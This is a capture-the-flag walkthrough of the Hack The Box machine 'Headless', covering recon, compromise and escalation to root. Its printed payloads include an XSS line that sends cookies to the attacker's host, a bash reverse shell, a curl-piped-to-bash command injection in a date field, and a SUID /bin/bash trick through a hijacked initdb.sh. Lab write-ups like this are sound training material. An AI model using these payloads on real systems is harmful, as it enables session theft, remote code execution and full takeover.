Headless

Recon

Let's start with a simple nmap scan.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 headless.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 06:22 BST
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 21.58 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,5000 -T4 headless.htb          
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 06:24 BST
Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 06:25 (0:00:32 remaining)
Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 06:25 (0:00:32 remaining)
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.040s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Mon, 08 Apr 2024 05:21:06 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=4/8%Time=66137F9B%P=x86_64-pc-linux-gnu%r(
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.50 seconds

We have two ports 22 and 5000. 5000 seems like a webpage let's try visiting it.

We have a webpage. Let do some enumeration on this now.

Feroxbuster revealed two directories /dashboard and /support.

Initial Access

We are not able to visit /dashboard, however /support reveals a web-form. Let's try some payloads here.

Interesting. We now know that it is being detected. Let us try the same with burp suite and a python server to check if the payload is trying to fetch something.

After some trial and error. Adding the payload in place of User-Agent worked.

<img src=x onerror=fetch('http://<Your Machine IP>/?c='+document.cookie);>

It worked and we now have and admin cookie. We should be able to use that to access the /dashboard page.

The dashboard seems to generate a report for a specified date. It takes input lets see if we can get a reverse shell this way.If we attempt to intercept the packet and establish a connection directly with our machine, we won't obtain a correct response.

bash -i >& /dev/tcp/Your_IP/PortNo 0>&1

What occurs if we curl our local machine and execute the retrieved content using bash?

Let's add the above payload into a file called shell.sh.

We set up a python server so the file can be accessed and a net cat listner so we can capture the shell.

Then we add the below payload after the date variable in Burp Suite.

;curl http://<YourIP>/shell.sh|bash

We have our reverse shell and should get the user flag.

Privilege Escalation

Lets see what we are able to do as sudo.

bash-5.2$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
bash-5.2$ 

We can see that dvir user has permission to execute /usr/bin/syscheck binary as the root user. Let’s see the contents of this binary using the cat command.

We will find that there is a bash script (initdb.sh) that gets executed without specifying its full path. We can simply exploit this vulnerability by creating a malicious bash script with the same name. We need to run the following commands to achieve the same:

echo “chmod u+s /bin/bash” > initdb.sh
chmod +x initdb.sh

When we execute the syscheck binary, then our malicious script will be executed as it is in our current directory. This script will assign the root user’s SUID bit to the /bin/bash file. Let’s see this in action by running the following command:

sudo /usr/bin/syscheck

After running the above command, we need to execute the /bin/bash with the privileges of the owner (root). We can do this with the help of the following command:

/bin/bash -p

We are now root. We can get our root flag now.

Last updated

Was this helpful?